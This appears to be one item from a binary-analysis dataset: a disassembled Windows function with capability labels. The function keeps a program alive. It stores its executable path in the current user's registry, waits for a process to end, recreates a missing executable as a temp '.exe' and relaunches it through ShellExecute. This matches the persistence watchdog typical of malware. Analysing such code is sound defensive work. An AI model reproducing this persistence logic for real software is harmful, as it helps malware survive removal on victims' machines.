Function at 0x40acfd
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
xor edi, edi
push dword [0x41a150]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [ebp - 0x838]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x41ac88
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x220]
push 0x208
mov ebx, 0x41aa20
push eax
push str.exepath
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, 0x80000001
push eax
push esi
call fcn.0040b975
add esp, 0x1c
test al, al
jne 0x40ad7c
push edi
call dword [sym.imp.MSVCRT.dll_exit]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00412638
pop ecx
test al, al
pop ecx
jne 0x40ada6
push edi
call dword [sym.imp.MSVCRT.dll_exit]
push dword [ebp + 8]
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0xffffffffffffffff
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x4159b4
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040bb0c
add esp, 0x10
test al, al
je 0x40af1f
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40ae29
lea eax, [ebp - 0x220]
push edi
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call fcn.004125af
add esp, 0x10
test al, al
je 0x40ae3f
push 1
push edi
lea eax, [ebp - 0x220]
push edi
push eax
push str.open
push edi
jmp 0x40aec9
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x630]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x630]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x428]
push eax
push 0
lea eax, [ebp - 0x630]
push str.temp_
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x428]
push str..exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x428]
push 0
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call fcn.004125af
add esp, 0x10
test al, al
je 0x40aecf
xor eax, eax
push 1
push eax
lea ecx, [ebp - 0x428]
push eax
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp + 8]
mov edi, 0x4156f4
push eax
push edi
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b7ab
add esp, 0x10
mov byte [ebp - 1], al
test al, al
je 0x40af07
push edi
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040bc3e
add esp, 0xc
jmp 0x40af12
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], 0
je 0x40aecf
xor edi, edi
jmp 0x40ada6
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
mov ebx, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
push esi
push edi
push 0x414848
push 0x41aa08
call ebx
pop ecx
mov esi, 0x41ac88
test al, al
pop ecx
je 0x40afd9
and word [ebp - 0x208], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x206]
rep stosd dword es:[edi], eax
mov ecx, esi
stosw word es:[edi], ax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x208]
push 0x410
push eax
push str.exepath
mov ecx, 0x41aa20
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.0040b975
add esp, 0x1c
test al, al
je 0x40afbf
lea eax, [ebp - 0x208]
mov ecx, 0x41aa08
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
push 0x414848
push 0x41aa08
call ebx
pop ecx
test al, al
pop ecx
je 0x40afd9
push 1
pop eax
jmp 0x40b088
cmp byte [0x41ad30], 0
je 0x40b086
mov edi, 0x41aa08
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x41aa01], 0
je 0x40b031
mov ecx, 0x41aa30
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
mov al, byte [0x41aa00]
push eax
mov al, byte [0x41aa18]
push eax
mov al, byte [0x41ac4c]
push eax
mov al, byte [0x41ac4d]
push eax
mov al, byte [0x41aa40]
push eax
call fcn.00407e43
add esp, 0x18
push 3
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
mov ecx, edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.exepath
mov ecx, 0x41aa20
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.0040bbdb
add esp, 0x20
cmp byte [0x41ad30], 0
jne 0x40afeb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4